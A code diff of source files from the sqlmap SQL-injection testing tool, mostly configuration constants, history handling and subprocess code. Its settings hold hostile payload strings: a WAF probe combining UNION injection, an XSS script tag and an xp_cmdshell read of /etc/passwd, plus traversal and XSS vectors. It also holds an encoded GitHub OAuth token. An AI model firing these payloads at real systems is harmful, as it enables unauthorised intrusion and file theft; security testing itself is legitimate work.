# Maximum time response set used during time-comparison based on standard deviation
|
||||
MAX_TIME_RESPONSES = 200
|
||||
|
||||
# Minimum comparison ratio set needed for searching valid union column number based on standard deviation
|
||||
MIN_UNION_RESPONSES = 5
|
||||
|
||||
# After these number of blanks at the end inference should stop (just in case)
|
||||
INFERENCE_BLANK_BREAK = 5
|
||||
INFERENCE_BLANK_BREAK = 10
|
||||
|
||||
# Use this replacement character for cases when inference is not able to retrieve the proper character value
|
||||
INFERENCE_UNKNOWN_CHAR = '?'
|
||||
@@ -221,27 +210,23 @@ DUMMY_USER_PREFIX = "__dummy__"
|
||||
DEFAULT_PAGE_ENCODING = "iso-8859-1"
|
||||
|
||||
try:
|
||||
codecs.lookup(DEFAULT_PAGE_ENCODING)
|
||||
unicode(DEFAULT_PAGE_ENCODING, DEFAULT_PAGE_ENCODING)
|
||||
except LookupError:
|
||||
DEFAULT_PAGE_ENCODING = "utf8"
|
||||
|
||||
# Marker for program piped input
|
||||
STDIN_PIPE_DASH = '-'
|
||||
|
||||
# URL used in dummy runs
|
||||
DUMMY_URL = "http://foo/bar?id=1"
|
||||
|
||||
# System variables
|
||||
IS_WIN = subprocess.mswindows
|
||||
|
||||
# The name of the operating system dependent module imported. The following names have currently been registered: 'posix', 'nt', 'mac', 'os2', 'ce', 'java', 'riscos'
|
||||
PLATFORM = os.name
|
||||
PYVERSION = sys.version.split()[0]
|
||||
IS_WIN = PLATFORM == "nt"
|
||||
|
||||
# Check if running in terminal
|
||||
IS_TTY = os.isatty(sys.stdout.fileno())
|
||||
|
||||
# DBMS system databases
|
||||
MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb")
|
||||
MYSQL_SYSTEM_DBS = ("information_schema", "mysql", "performance_schema", "sys")
|
||||
MYSQL_SYSTEM_DBS = ("information_schema", "mysql", "performance_schema")
|
||||
PGSQL_SYSTEM_DBS = ("information_schema", "pg_catalog", "pg_toast", "pgagent")
|
||||
ORACLE_SYSTEM_DBS = ('ANONYMOUS', 'APEX_030200', 'APEX_PUBLIC_USER', 'APPQOSSYS', 'BI', 'CTXSYS', 'DBSNMP', 'DIP', 'EXFSYS', 'FLOWS_%', 'FLOWS_FILES', 'HR', 'IX', 'LBACSYS', 'MDDATA', 'MDSYS', 'MGMT_VIEW', 'OC', 'OE', 'OLAPSYS', 'ORACLE_OCM', 'ORDDATA', 'ORDPLUGINS', 'ORDSYS', 'OUTLN', 'OWBSYS', 'PM', 'SCOTT', 'SH', 'SI_INFORMTN_SCHEMA', 'SPATIAL_CSW_ADMIN_USR', 'SPATIAL_WFS_ADMIN_USR', 'SYS', 'SYSMAN', 'SYSTEM', 'WKPROXY', 'WKSYS', 'WK_TEST', 'WMSYS', 'XDB', 'XS$NULL')
|
||||
SQLITE_SYSTEM_DBS = ("sqlite_master", "sqlite_temp_master")
|
||||
@@ -251,7 +236,6 @@ MAXDB_SYSTEM_DBS = ("SYSINFO", "DOMAIN")
|
||||
SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs")
|
||||
DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS", "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS")
|
||||
HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB")
|
||||
H2_SYSTEM_DBS = ("INFORMATION_SCHEMA")
|
||||
INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin")
|
||||
|
||||
MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms")
|
||||
@@ -265,21 +249,20 @@ MAXDB_ALIASES = ("maxdb", "sap maxdb", "sap db")
|
||||
SYBASE_ALIASES = ("sybase", "sybase sql server")
|
||||
DB2_ALIASES = ("db2", "ibm db2", "ibmdb2")
|
||||
HSQLDB_ALIASES = ("hsql", "hsqldb", "hs", "hypersql")
|
||||
H2_ALIASES = ("h2",)
|
||||
INFORMIX_ALIASES = ("informix", "ibm informix", "ibminformix")
|
||||
|
||||
DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_"))
|
||||
|
||||
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES
|
||||
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + INFORMIX_ALIASES
|
||||
SUPPORTED_OS = ("linux", "windows")
|
||||
|
||||
DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES))
|
||||
DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES))
|
||||
|
||||
USER_AGENT_ALIASES = ("ua", "useragent", "user-agent")
|
||||
REFERER_ALIASES = ("ref", "referer", "referrer")
|
||||
HOST_ALIASES = ("host",)
|
||||
|
||||
H2_DEFAULT_SCHEMA = HSQLDB_DEFAULT_SCHEMA = "PUBLIC"
|
||||
HSQLDB_DEFAULT_SCHEMA = "PUBLIC"
|
||||
|
||||
# Names that can't be used to name files on Windows OS
|
||||
WINDOWS_RESERVED_NAMES = ("CON", "PRN", "AUX", "NUL", "COM1", "COM2", "COM3", "COM4", "COM5", "COM6", "COM7", "COM8", "COM9", "LPT1", "LPT2", "LPT3", "LPT4", "LPT5", "LPT6", "LPT7", "LPT8", "LPT9")
|
||||
@@ -337,20 +320,18 @@ CURRENT_DB = "CD"
|
||||
SESSION_SQLITE_FILE = "session.sqlite"
|
||||
|
||||
# Regular expressions used for finding file paths in error messages
|
||||
FILE_PATH_REGEXES = (r"<b>(?P<result>[^<>]+?)</b> on line \d+", r"\bin (?P<result>[^<>'\"]+?)['\"]? on line \d+", r"(?:[>(\[\s])(?P<result>[A-Za-z]:[\\/][\w. \\/-]*)", r"(?:[>(\[\s])(?P<result>/\w[/\w.~-]+)", r"\bhref=['\"]file://(?P<result>/[^'\"]+)", r"\bin <b>(?P<result>[^<]+): line \d+")
|
||||
FILE_PATH_REGEXES = (r"<b>(?P<result>[^<>]+?)</b> on line \d+", r"in (?P<result>[^<>'\"]+?)['\"]? on line \d+", r"(?:[>(\[\s])(?P<result>[A-Za-z]:[\\/][\w. \\/-]*)", r"(?:[>(\[\s])(?P<result>/\w[/\w.~-]+)", r"href=['\"]file://(?P<result>/[^'\"]+)")
|
||||
|
||||
# Regular expressions used for parsing error messages (--parse-errors)
|
||||
ERROR_PARSING_REGEXES = (
|
||||
r"\[Microsoft\]\[ODBC SQL Server Driver\]\[SQL Server\](?P<result>[^<]+)",
|
||||
r"<b>[^<]*(fatal|error|warning|exception)[^<]*</b>:?\s*(?P<result>[^<]+)",
|
||||
r"<b>[^<]*(fatal|error|warning|exception)[^<]*</b>:?\s*(?P<result>.+?)<br\s*/?\s*>",
|
||||
r"(?m)^\s*(fatal|error|warning|exception):?\s*(?P<result>[^\n]+?)$",
|
||||
r"(sql|dbc)[^>'\"]{0,32}(fatal|error|warning|exception)(</b>)?:\s*(?P<result>[^<>]+)",
|
||||
r"(?P<result>[^\n>]*SQL Syntax[^\n<]+)",
|
||||
r"(?s)<li>Error Type:<br>(?P<result>.+?)</li>",
|
||||
r"<li>Error Type:<br>(?P<result>.+?)</li>",
|
||||
r"CDbCommand (?P<result>[^<>\n]*SQL[^<>\n]+)",
|
||||
r"error '[0-9a-f]{8}'((<[^>]+>)|\s)+(?P<result>[^<>]+)",
|
||||
r"\[[^\n\]]+(ODBC|JDBC)[^\n\]]+\](\[[^\]]+\])?(?P<result>[^\n]+(in query expression|\(SQL| at /[^ ]+pdo)[^\n<]+)",
|
||||
r"(?P<result>query error: SELECT[^<>]+)"
|
||||
r"\[[^\n\]]+(ODBC|JDBC)[^\n\]]+\](\[[^\]]+\])?(?P<result>[^\n]+(in query expression|\(SQL| at /[^ ]+pdo)[^\n<]+)"
|
||||
)
|
||||
|
||||
# Regular expression used for parsing charset info from meta html headers
|
||||
@@ -372,7 +353,7 @@ COMMON_PASSWORD_SUFFIXES += ("!", ".", "*", "!!", "?", ";", "..", "!!!", ", ", "
|
||||
WEBSCARAB_SPLITTER = "### Conversation"
|
||||
|
||||
# Splitter used between requests in BURP log files
|
||||
BURP_REQUEST_REGEX = r"={10,}\s+([A-Z]{3,} .+?)\s+={10,}"
|
||||
BURP_REQUEST_REGEX = r"={10,}\s+[^=]+={10,}\s(.+?)\s={10,}"
|
||||
|
||||
# Regex used for parsing XML Burp saved history items
|
||||
BURP_XML_HISTORY_REGEX = r'<port>(\d+)</port>.+?<request base64="true"><!\[CDATA\[([^]]+)'
|
||||
@@ -387,10 +368,10 @@ URI_HTTP_HEADER = "URI"
|
||||
URI_INJECTABLE_REGEX = r"//[^/]*/([^\.*?]+)\Z"
|
||||
|
||||
# Regex used for masking sensitive data
|
||||
SENSITIVE_DATA_REGEX = r"(\s|=)(?P<result>[^\s=]*\b%s\b[^\s]*)\s"
|
||||
SENSITIVE_DATA_REGEX = r"(\s|=)(?P<result>[^\s=]*%s[^\s]*)\s"
|
||||
|
||||
# Options to explicitly mask in anonymous (unhandled exception) reports (along with anything carrying the <hostname> inside)
|
||||
SENSITIVE_OPTIONS = ("hostname", "answers", "data", "dnsDomain", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy", "fileRead", "fileWrite", "fileDest", "testParameter", "authCred", "sqlQuery", "requestFile")
|
||||
SENSITIVE_OPTIONS = ("hostname", "answers", "data", "dnsDomain", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy", "fileRead", "fileWrite", "fileDest", "testParameter", "authCred")
|
||||
|
||||
# Maximum number of threads (avoiding connection issues and/or DoS)
|
||||
MAX_NUMBER_OF_THREADS = 10
|
||||
@@ -453,7 +434,7 @@ HASH_MOD_ITEM_DISPLAY = 11
|
||||
HASH_EMPTY_PASSWORD_MARKER = "<empty>"
|
||||
|
||||
# Maximum integer value
|
||||
MAX_INT = sys.maxsize
|
||||
MAX_INT = sys.maxint
|
||||
|
||||
# Replacement for unsafe characters in dump table filenames
|
||||
UNSAFE_DUMP_FILEPATH_REPLACEMENT = '_'
|
||||
@@ -518,6 +499,8 @@ HTML_TITLE_REGEX = r"<title>(?P<result>[^<]+)</title>"
|
||||
# Table used for Base64 conversion in WordPress hash cracking routine
|
||||
ITOA64 = "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
|
||||
|
||||
PICKLE_REDUCE_WHITELIST = (types.BooleanType, types.DictType, types.FloatType, types.IntType, types.ListType, types.LongType, types.NoneType, types.StringType, types.TupleType, types.UnicodeType, types.XRangeType, type(AttribDict()), type(set()))
|
||||
|
||||
# Chars used to quickly distinguish if the user provided tainted parameter values
|
||||
DUMMY_SQL_INJECTION_CHARS = ";()'"
|
||||
|
||||
@@ -536,28 +519,25 @@ BRUTE_TABLE_EXISTS_TEMPLATE = "EXISTS(SELECT %d FROM %s)"
|
||||
# Template used for common column existence check
|
||||
BRUTE_COLUMN_EXISTS_TEMPLATE = "EXISTS(SELECT %s FROM %s)"
|
||||
|
||||
# Payload used for checking of existence of IDS/IPS/WAF (dummier the better)
|
||||
IDS_WAF_CHECK_PAYLOAD = "AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert(\"XSS\")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#"
|
||||
|
||||
# Data inside shellcodeexec to be filled with random string
|
||||
SHELLCODEEXEC_RANDOM_STRING_MARKER = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
|
||||
|
||||
# Period after last-update to start nagging about the old revision
|
||||
LAST_UPDATE_NAGGING_DAYS = 60
|
||||
|
||||
# Generic address for checking the Internet connection while using switch --check-internet
|
||||
CHECK_INTERNET_ADDRESS = "https://ipinfo.io/"
|
||||
|
||||
# Value to look for in response to CHECK_INTERNET_ADDRESS
|
||||
CHECK_INTERNET_VALUE = "IP Address Details"
|
||||
|
||||
# Payload used for checking of existence of WAF/IPS (dummier the better)
|
||||
IPS_WAF_CHECK_PAYLOAD = "AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert(\"XSS\")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#"
|
||||
|
||||
# Vectors used for provoking specific WAF/IPS behavior(s)
|
||||
WAF_ATTACK_VECTORS = (
|
||||
"", # NIL
|
||||
"search=<script>alert(1)</script>",
|
||||
"file=../../../../etc/passwd",
|
||||
"q=<invalid>foobar",
|
||||
"id=1 %s" % IPS_WAF_CHECK_PAYLOAD
|
||||
"id=1 %s" % IDS_WAF_CHECK_PAYLOAD
|
||||
)
|
||||
|
||||
# Used for status representation in dictionary attack phase
|
||||
@@ -598,7 +578,7 @@ UNION_CHAR_REGEX = r"\A\w+\Z"
|
||||
UNENCODED_ORIGINAL_VALUE = "original"
|
||||
|
||||
# Common column names containing usernames (used for hash cracking in some cases)
|
||||
COMMON_USER_COLUMNS = ("login", "user", "username", "user_name", "user_login", "benutzername", "benutzer", "utilisateur", "usager", "consommateur", "utente", "utilizzatore", "utilizator", "utilizador", "usufrutuario", "korisnik", "uporabnik", "usuario", "consumidor", "client", "cuser")
|
||||
COMMON_USER_COLUMNS = ("login", "user", "username", "user_name", "user_login", "benutzername", "benutzer", "utilisateur", "usager", "consommateur", "utente", "utilizzatore", "usufrutuario", "korisnik", "usuario", "consumidor", "client", "cuser")
|
||||
|
||||
# Default delimiter in GET/POST values
|
||||
DEFAULT_GET_POST_DELIMITER = '&'
|
||||
@@ -610,7 +590,7 @@ DEFAULT_COOKIE_DELIMITER = ';'
|
||||
FORCE_COOKIE_EXPIRATION_TIME = "9999999999"
|
||||
|
||||
# Github OAuth token used for creating an automatic Issue for unhandled exceptions
|
||||
GITHUB_REPORT_OAUTH_TOKEN = "NTYzYjhmZWJjYzc0Njg2ODJhNzhmNDg1YzM0YzlkYjk3N2JiMzE3Nw=="
|
||||
GITHUB_REPORT_OAUTH_TOKEN = "NTMyNWNkMmZkMzRlMDZmY2JkMmY0MGI4NWI0MzVlM2Q5YmFjYWNhYQ=="
|
||||
|
||||
# Skip unforced HashDB flush requests below the threshold number of cached items
|
||||
HASHDB_FLUSH_THRESHOLD = 32
|
||||
@@ -625,10 +605,7 @@ HASHDB_RETRIEVE_RETRIES = 3
|
||||
HASHDB_END_TRANSACTION_RETRIES = 3
|
||||
|
||||
# Unique milestone value used for forced deprecation of old HashDB values (e.g. when changing hash/pickle mechanism)
|
||||
HASHDB_MILESTONE_VALUE = "OdqjeUpBLc" # python -c 'import random, string; print "".join(random.sample(string.ascii_letters, 10))'
|
||||
|
||||
# Pickle protocl used for storage of serialized data inside HashDB (https://docs.python.org/3/library/pickle.html#data-stream-format)
|
||||
PICKLE_PROTOCOL = 2
|
||||
HASHDB_MILESTONE_VALUE = "BZzRotigLX" # python -c 'import random, string; print "".join(random.sample(string.ascii_letters, 10))'
|
||||
|
||||
# Warn user of possible delay due to large page dump in full UNION query injections
|
||||
LARGE_OUTPUT_THRESHOLD = 1024 ** 2
|
||||
@@ -639,9 +616,6 @@ SLOW_ORDER_COUNT_THRESHOLD = 10000
|
||||
# Give up on hash recognition if nothing was found in first given number of rows
|
||||
HASH_RECOGNITION_QUIT_THRESHOLD = 10000
|
||||
|
||||
# Regular expression used for automatic hex conversion and hash cracking of (RAW) binary column values
|
||||
HASH_BINARY_COLUMNS_REGEX = r"(?i)pass|psw|hash"
|
||||
|
||||
# Maximum number of redirections to any single URL - this is needed because of the state that cookies introduce
|
||||
MAX_SINGLE_URL_REDIRECTIONS = 4
|
||||
|
||||
@@ -694,10 +668,7 @@ VALID_TIME_CHARS_RUN_THRESHOLD = 100
|
||||
CHECK_ZERO_COLUMNS_THRESHOLD = 10
|
||||
|
||||
# Boldify all logger messages containing these "patterns"
|
||||
BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported", "PASSED", "FAILED", "for more than")
|
||||
|
||||
# TLDs used in randomization of email-alike parameter values
|
||||
RANDOMIZATION_TLDS = ("com", "net", "ru", "org", "de", "jp", "cn", "fr", "it", "pl", "tv", "edu", "in", "ir", "es", "me", "info", "gr", "gov", "ca", "co", "se", "cz", "to", "vn", "nl", "cc", "az", "hu", "ua", "be", "no", "biz", "io", "ch", "ro", "sk", "eu", "us", "tw", "pt", "fi", "at", "lt", "kz", "cl", "hr", "pk", "lv", "la", "pe")
|
||||
BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported")
|
||||
|
||||
# Generic www root directory names
|
||||
GENERIC_DOC_ROOT_DIRECTORY_NAMES = ("htdocs", "httpdocs", "public", "wwwroot", "www")
|
||||
@@ -709,7 +680,7 @@ MAX_HELP_OPTION_LENGTH = 18
|
||||
MAX_CONNECT_RETRIES = 100
|
||||
|
||||
# Strings for detecting formatting errors
|
||||
FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Please enter a", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "TypeMismatchException", "CF_SQL_INTEGER", "CF_SQL_NUMERIC", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "Attribute validation error for tag", "is not of type numeric", "<cfif Not IsNumeric(", "invalid input syntax for integer", "invalid input syntax for type", "invalid number", "character to number conversion error", "unable to interpret text value", "String was not recognized as a valid", "Convert.ToInt", "cannot be converted to a ", "InvalidDataException")
|
||||
FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "DataTypeMismatchException", "CF_SQL_INTEGER", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "is not of type numeric", "<cfif Not IsNumeric(", "invalid input syntax for integer", "invalid input syntax for type", "invalid number", "character to number conversion error", "unable to interpret text value", "String was not recognized as a valid", "Convert.ToInt", "cannot be converted to a ", "InvalidDataException")
|
||||
|
||||
# Regular expression used for extracting ASP.NET view state values
|
||||
VIEWSTATE_REGEX = r'(?i)(?P<name>__VIEWSTATE[^"]*)[^>]+value="(?P<result>[^"]+)'
|
||||
@@ -729,9 +700,6 @@ RESTAPI_DEFAULT_ADDRESS = "127.0.0.1"
|
||||
# Default REST-JSON API server listen port
|
||||
RESTAPI_DEFAULT_PORT = 8775
|
||||
|
||||
# Use "Supplementary Private Use Area-A"
|
||||
INVALID_UNICODE_PRIVATE_AREA = False
|
||||
|
||||
# Format used for representing invalid unicode characters
|
||||
INVALID_UNICODE_CHAR_FORMAT = r"\x%02x"
|
||||
|
||||
@@ -780,11 +748,8 @@ METASPLOIT_SESSION_TIMEOUT = 120
|
||||
# Reference: http://www.postgresql.org/docs/9.0/static/catalog-pg-largeobject.html
|
||||
LOBLKSIZE = 2048
|
||||
|
||||
# Prefix used to mark special variables (e.g. keywords, having special chars, etc.)
|
||||
EVALCODE_ENCODED_PREFIX = "EVAL_"
|
||||
|
||||
# Reference: https://en.wikipedia.org/wiki/Zip_(file_format)
|
||||
ZIP_HEADER = b"\x50\x4b\x03\x04"
|
||||
# Suffix used to mark variables having keyword names
|
||||
EVALCODE_KEYWORD_SUFFIX = "_KEYWORD"
|
||||
|
||||
# Reference: http://www.cookiecentral.com/faq/#3.5
|
||||
NETSCAPE_FORMAT_HEADER_COOKIES = "# Netscape HTTP Cookie File."
|
||||
@@ -798,9 +763,6 @@ BRUTE_DOC_ROOT_PREFIXES = {
|
||||
OS.WINDOWS: ("/xampp", "/Program Files/xampp", "/wamp", "/Program Files/wampp", "/apache", "/Program Files/Apache Group/Apache", "/Program Files/Apache Group/Apache2", "/Program Files/Apache Group/Apache2.2", "/Program Files/Apache Group/Apache2.4", "/Inetpub/wwwroot", "/Inetpub/wwwroot/%TARGET%", "/Inetpub/vhosts/%TARGET%")
|
||||
}
|
||||
|
||||
# Table prefix to use in "takeover" functionalities (i.e. auxiliary tables used by sqlmap at the vulnerable DBMS)
|
||||
TAKEOVER_TABLE_PREFIX = "sqlmap"
|
||||
|
||||
# Suffixes used in brute force search for web server document root
|
||||
BRUTE_DOC_ROOT_SUFFIXES = ("", "html", "htdocs", "httpdocs", "php", "public", "src", "site", "build", "web", "www", "data", "sites/all", "www/build")
|
||||
|
||||
@@ -813,9 +775,6 @@ KB_CHARS_BOUNDARY_CHAR = 'q'
|
||||
# Letters of lower frequency used in kb.chars
|
||||
KB_CHARS_LOW_FREQUENCY_ALPHABET = "zqxjkvbp"
|
||||
|
||||
# SQL keywords used for splitting in HTTP chunked transfer encoded requests (switch --chunk)
|
||||
HTTP_CHUNKED_SPLIT_KEYWORDS = ("SELECT", "UPDATE", "INSERT", "FROM", "LOAD_FILE", "UNION", "information_schema", "sysdatabases", "msysaccessobjects", "msysqueries", "sysmodules")
|
||||
|
||||
# CSS style used in HTML dump format
|
||||
HTML_DUMP_CSS_STYLE = """<style>
|
||||
table{
|
||||
@@ -840,20 +799,3 @@ th{
|
||||
font-size:12px;
|
||||
}
|
||||
</style>"""
|
||||
|
||||
# Leaving (dirty) possibility to change values from here (e.g. `export SQLMAP__MAX_NUMBER_OF_THREADS=20`)
|
||||
for key, value in os.environ.items():
|
||||
if key.upper().startswith("%s_" % SQLMAP_ENVIRONMENT_PREFIX):
|
||||
_ = key[len(SQLMAP_ENVIRONMENT_PREFIX) + 1:].upper()
|
||||
if _ in globals():
|
||||
globals()[_] = value
|
||||
|
||||
# Installing "reversible" unicode (decoding) error handler
|
||||
def _reversible(ex):
|
||||
if isinstance(ex, UnicodeDecodeError):
|
||||
if INVALID_UNICODE_PRIVATE_AREA:
|
||||
return (u"".join(_unichr(int('000f00%2x' % (_ if isinstance(_, int) else ord(_)), 16)) for _ in ex.object[ex.start:ex.end]), ex.end)
|
||||
else:
|
||||
return (u"".join(INVALID_UNICODE_CHAR_FORMAT % (_ if isinstance(_, int) else ord(_)) for _ in ex.object[ex.start:ex.end]), ex.end)
|
||||
|
||||
codecs.register_error("reversible", _reversible)
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
@@ -9,12 +9,10 @@ import atexit
|
||||
import os
|
||||
|
||||
from lib.core import readlineng as readline
|
||||
from lib.core.common import getSafeExString
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import paths
|
||||
from lib.core.enums import AUTOCOMPLETE_TYPE
|
||||
from lib.core.enums import OS
|
||||
from lib.core.settings import IS_WIN
|
||||
from lib.core.settings import MAX_HISTORY_LENGTH
|
||||
|
||||
try:
|
||||
@@ -55,34 +53,31 @@ def clearHistory():
|
||||
readline.clear_history()
|
||||
|
||||
def saveHistory(completion=None):
|
||||
if not readlineAvailable():
|
||||
return
|
||||
|
||||
if completion == AUTOCOMPLETE_TYPE.SQL:
|
||||
historyPath = paths.SQL_SHELL_HISTORY
|
||||
elif completion == AUTOCOMPLETE_TYPE.OS:
|
||||
historyPath = paths.OS_SHELL_HISTORY
|
||||
elif completion == AUTOCOMPLETE_TYPE.API:
|
||||
historyPath = paths.API_SHELL_HISTORY
|
||||
else:
|
||||
historyPath = paths.SQLMAP_SHELL_HISTORY
|
||||
|
||||
try:
|
||||
if not readlineAvailable():
|
||||
return
|
||||
|
||||
if completion == AUTOCOMPLETE_TYPE.SQL:
|
||||
historyPath = paths.SQL_SHELL_HISTORY
|
||||
elif completion == AUTOCOMPLETE_TYPE.OS:
|
||||
historyPath = paths.OS_SHELL_HISTORY
|
||||
elif completion == AUTOCOMPLETE_TYPE.API:
|
||||
historyPath = paths.API_SHELL_HISTORY
|
||||
else:
|
||||
historyPath = paths.SQLMAP_SHELL_HISTORY
|
||||
|
||||
try:
|
||||
with open(historyPath, "w+"):
|
||||
pass
|
||||
except:
|
||||
with open(historyPath, "w+"):
|
||||
pass
|
||||
|
||||
readline.set_history_length(MAX_HISTORY_LENGTH)
|
||||
try:
|
||||
readline.write_history_file(historyPath)
|
||||
except IOError as ex:
|
||||
warnMsg = "there was a problem writing the history file '%s' (%s)" % (historyPath, getSafeExString(ex))
|
||||
logger.warn(warnMsg)
|
||||
except KeyboardInterrupt:
|
||||
except:
|
||||
pass
|
||||
|
||||
readline.set_history_length(MAX_HISTORY_LENGTH)
|
||||
try:
|
||||
readline.write_history_file(historyPath)
|
||||
except IOError, msg:
|
||||
warnMsg = "there was a problem writing the history file '%s' (%s)" % (historyPath, msg)
|
||||
logger.warn(warnMsg)
|
||||
|
||||
def loadHistory(completion=None):
|
||||
if not readlineAvailable():
|
||||
return
|
||||
@@ -101,14 +96,9 @@ def loadHistory(completion=None):
|
||||
if os.path.exists(historyPath):
|
||||
try:
|
||||
readline.read_history_file(historyPath)
|
||||
except IOError as ex:
|
||||
warnMsg = "there was a problem loading the history file '%s' (%s)" % (historyPath, getSafeExString(ex))
|
||||
except IOError, msg:
|
||||
warnMsg = "there was a problem loading the history file '%s' (%s)" % (historyPath, msg)
|
||||
logger.warn(warnMsg)
|
||||
except UnicodeError:
|
||||
if IS_WIN:
|
||||
warnMsg = "there was a problem loading the history file '%s'. " % historyPath
|
||||
warnMsg += "More info can be found at 'https://github.com/pyreadline/pyreadline/issues/30'"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
def autoCompletion(completion=None, os=None, commands=None):
|
||||
if not readlineAvailable():
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
||||
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
@@ -10,9 +10,7 @@ import os
|
||||
import subprocess
|
||||
import time
|
||||
|
||||
from lib.core.compat import buffer
|
||||
from lib.core.settings import IS_WIN
|
||||
from thirdparty import six
|
||||
|
||||
if IS_WIN:
|
||||
try:
|
||||
@@ -28,12 +26,12 @@ else:
|
||||
def blockingReadFromFD(fd):
|
||||
# Quick twist around original Twisted function
|
||||
# Blocking read from a non-blocking file descriptor
|
||||
output = b""
|
||||
output = ""
|
||||
|
||||
while True:
|
||||
try:
|
||||
output += os.read(fd, 8192)
|
||||
except (OSError, IOError) as ioe:
|
||||
except (OSError, IOError), ioe:
|
||||
if ioe.args[0] in (errno.EAGAIN, errno.EINTR):
|
||||
# Uncomment the following line if the process seems to
|
||||
# take a huge amount of cpu time
|
||||
@@ -54,7 +52,7 @@ def blockingWriteToFD(fd, data):
|
||||
try:
|
||||
data_length = len(data)
|
||||
wrote_data = os.write(fd, data)
|
||||
except (OSError, IOError) as io:
|
||||
except (OSError, IOError), io:
|
||||
if io.errno in (errno.EAGAIN, errno.EINTR):
|
||||
continue
|
||||
else:
|
||||
@@ -87,18 +85,18 @@ class Popen(subprocess.Popen):
|
||||
getattr(self, which).close()
|
||||
setattr(self, which, None)
|
||||
|
||||
if IS_WIN:
|
||||
if subprocess.mswindows:
|
||||
def send(self, input):
|
||||
if not self.stdin:
|
||||
return None
|
||||
|
||||
try:
|
||||
x = msvcrt.get_osfhandle(self.stdin.fileno())
|
||||
(_, written) = WriteFile(x, input)
|
||||
